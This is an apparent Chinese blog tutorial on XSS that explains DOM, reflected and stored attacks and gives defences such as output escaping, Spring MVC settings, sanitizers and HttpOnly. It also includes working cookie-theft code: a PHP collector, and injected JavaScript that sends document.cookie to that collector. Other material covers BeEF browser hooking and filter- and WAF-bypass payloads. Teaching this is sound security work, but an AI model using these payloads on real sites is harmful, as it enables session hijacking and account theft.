zoukankan      html  css  js  c++  java
  • XSS防御和绕过1

    原理:对用户输入没做过滤和处理,是用户可以输入一些东西(例如js),控制输出达到一些攻击目的

    1.DOM型

     

    基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。主要区别就是没有经过服务器后端处理

      通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

      前提是易受攻击的网站有一个HTML页面采用不安全的方式从document.location 或document.URL 或 document.referrer获取数据(或者任何其他攻击者可以修改的对象)。

    简单例子

    复制代码
     1 <HTML>
     2 <TITLE>Welcome!</TITLE>
     3 Hi
     4 <SCRIPT>
     5 var pos=document.URL.indexOf("name=")+5;
     6 document.write(document.URL.substring(pos,document.URL.length));
     7 </SCRIPT>
     8 <BR>
     9 Welcome to our system
    10 …
    11 </HTML>
    复制代码

    这个例子是个欢迎页面,name是截取URL中get过来的name参数

    正常操作:

    http://www.vulnerable.site/welcome.html?name=Joe

    非正常操作:

    http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>

      将产生xss条件。让我们看看为什么:受害者的浏览器接收到这个链接,发送HTTP请求到www.vulnerable.site并且接受到上面的HTML页。受害者的浏览器开始解析这个HTML为DOM,DOM包含一个对象叫document,document里面有个URL属性,这个属性里填充着当前页面的URL。当解析器到达javascript代码,它会执行它并且修改你的HTML页面。倘若代码中引用了document.URL,那么,这部分字符串将会在解析时嵌入到HTML中,然后立即解析,同时,javascript代码会找到(alert(…))并且在同一个页面执行它,这就产生了xss的条件。

    注意:

      1. 恶意程序脚本在任何时候不会嵌入到处于自然状态下的HTML页面(这和其他种类的xss不太一样)。

      2.这个攻击只有在当url不是直接在地址栏输入,Mozilla.会自动转换在document.URL中字符<和>(转化为%3C 和 %3E),因此在就不会受到上面示例那样的攻击了,在IE6下没有转换<和>,因此他很容易受到攻击。

      当然,直接嵌入到HTML只是攻击的一个挂载点,有很多脚本不需要依赖<和>漏洞,因此Mozilla通常也是无法阻止这些攻击的。

      【这段出自:http://www.oschina.net/translate/dom-based-xss-of-third-kind

    如:<div id="aa">这是内容</div>   ,我们可以通过  document.getElementById('aa').innerHTML 来获取id为aa的对象的内嵌内容;
    也可以对某对象插入内容,如 document.getElementById('abc').innerHTML='这是被插入的内容'; 这样就能向id为abc的对象插入内容。

    2 反射型:某url存在xss漏洞,攻击者通过植入xss代码,让受害者访问触发,反射型跨站http://127.0.0.1/xss1.php?name=op<script>alert(1)</script>

    3.存储型:某url下的留言本或评论区存在xss漏洞,攻击者通过植入xss代码,让受害者访问触发,存储型跨站。留言板

     与csrf结合的思考,构造带xss的链接请求放在B站上藏匿,受害者访问脆弱的a站,又同时访问B站,渲染B站时或点击、移动鼠标使恶意链接触发,向A站发送请求同时浏览器被攻击者控制,可以任意和A站交互

     

    漏洞的发现:手工或这工具扫描AWVS等

    awvs注意里面id的位置,手工测试输入,对可控的变量进行测试回显,看浏览器回显的html文档,一边测试一边绕过

    漏洞的利用:beef或者xss平台、xsser 

    把beef的127.0.0.1:3000/hook.js 和xss平台通过各种方式get post等等在浏览器构造,骗取用户打开,利用效果取决于受害者权限,获取cookie、地理位置、劫持浏览器是没有问题的。

    注意:

    xss平台使用要注意插入闭合</scrpit>"<自己的xss代码>//)

    获取到cookie以后可以用啊d也可以用cookietamper等这些修改cooike的插件带着cookie去访问网站。而且要注意访问/admin,不是/admin/login.php

    手写获取cookie的js方法:

    生成cookie的php:

    <?php
    $cookie = $_GET['c']; //接受c的参数复制给cookie,为后面做模拟方便
    $url= $_GET['u'];     //赋值url
    $file = fopen("cookie.html","w+"); //将接受值写入html文件
    fwrite($file,"url地址:");
    fwrite($file,$url);
    fwrite($file,":");
    fwrite($file,$cookie);
    fwrite($file,"<hr>");
    fclose($file);
    ?>

    利用的获取cookie的js代码:

    <script>
    var cookie=document.cookie; //声明变量获取cookie,赋值给cookie
    var url =window.location.href; //js获取url的方法
    alert(url);
    var c="http://127.0.0.1/cookiexss.php?c=";
    //var u="http://127.0.0.1/cookiexss.php?u=";
    window.location.href=c+cookie+"&u="+url;//window.location.href打开指定地址http://127.0.0.1/cookiexss.php?c=cookie值&u=url值

    </script>

     只要在脆弱站点A植入以上js代码,js通过执行调用的php,生成一个html,里面包含用户在浏览A站的cookie和url

     

    修复

    1.在输入点过滤敏感关键字

    2.innerHTML=encodeHTML([输出])

    a) 全局拦截 (全局过滤器、拦截器),适用于不包含富文本的情况

    Servlet的doFilter、Spring的Interceptor类,对所有的访问请求进行监听。正确的姿势是在过滤器中对<>&’”=等字符转义处理,可使用ESAPI或者common-lang.jar的StringEscapeUtils类或者Spring的HtmlUtils来实现。

    b)富文本交互,白名单过滤

    ESAPI.validator().getValidSafeHTML(“getValidSafeHTML”, keyword, keyword.length(), true)

    白名单:JavaVulnerableLab/vulnerability/xss/xss4.jsp

    3.7 XSS防护—Spring MVC

    a)项目级过滤

    <context-param>
    <param-name>defaultHtmlEscape</param-name>
    <param-value>true</param-value>
    </context-param>

    b)页面级过滤

    在包含form的jsp页面中添加

    <spring:htmlEscape defaultHtmlEscape=”true” />

    c)表单元素级过滤

    在form元素中添加

    <form:form htmlEscape=“true”>或

    <form:input path=”someFormField” htmlEscape=”true” />

    3.springMVC中的WebBindingInitializer和@InitBinder

    • 将用户所提供的内容输入输出进行过滤。可以运用下面这些函数对出现XSS漏洞的参数进行过滤:
    • PHP的htmlentities()或是htmlspecialchars()
    • Python的cgi.escape()
    • ASP的Server.HTMLEncode()
    • ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
    • Java的xssprotect(Open Source Library)
    • Node.js的node-validator

    4.推荐XSS规则过滤引擎:OWASP AntiSamp或者Java HTML Sanitizer

    3.HttpOnly
    如果在cookie中设置了HttpOnly属性,那么通过javaScript脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是注意,只是不能读取,但是可以覆盖,攻击者如果发现网站的XSS漏洞,就可以利用HttpOnly cookie发动session fixation攻击。

    绕过:

    四种超级基础的绕过方法。 
    1.转换为ASCII码 
    例子:原脚本为<script>alert(‘I love F4ck’)</script > 
    通过转换,变成: 
    <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script> 

    2.转换为HEX(十六进制) 
    例子:原脚本为<script>alert(‘I love F4ck’)</script> 
    通过转换,变成: 
    %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e 

    转换为base64

    <META HTTP-EQUIV="refresh"
    CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4
    K">

    可以看到会刷新,刷新时解密base64

    3.转换脚本的大小写 
    例子:原脚本为<script>alert(‘I love F4ck’)</script> 
    转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT> 

    4.增加闭合标记”> 
    例子:原脚本为<script>alert(‘I love F4ck’)</script> 
    转换为:”><script>alert(‘I love F4ck’)</script> 

    5.变量增加

    分成三条语句

     

    6.类似

    有转义:

    payload:

    http://www.xiaodi8.com/hack/xss/example7.php?name=1';alert($a);//

    闭合变量

     过waf:

    不管是XSS还是sql注入等,思路总是一样的,无非几种:

    1.关键字打乱

    2.替换更改

    3.猜分组合

    4.编码解码

    5.函数调用

  • 相关阅读:
    linux下php环境的装配以及php storm的链接
    p4 : a problem about "./behavioral-model"
    p4factory下 targets/basic_rout
    P4安装
    第二次结对编程作业——毕业导师智能匹配
    初识GIT
    结对项目之需求分析与原型设计
    调研《构建之法》指导下的全国高校的历届软工实践作品、全国互联网+竞赛、物联网竞赛等各类全国性大学生信息化相关的竞赛平台的历届作品及其看法
    SDN 收集一下最近的资料
    软件工程的实践项目课程的自我目标
  • 原文地址:https://www.cnblogs.com/drkang/p/8668473.html
Copyright © 2011-2022 走看看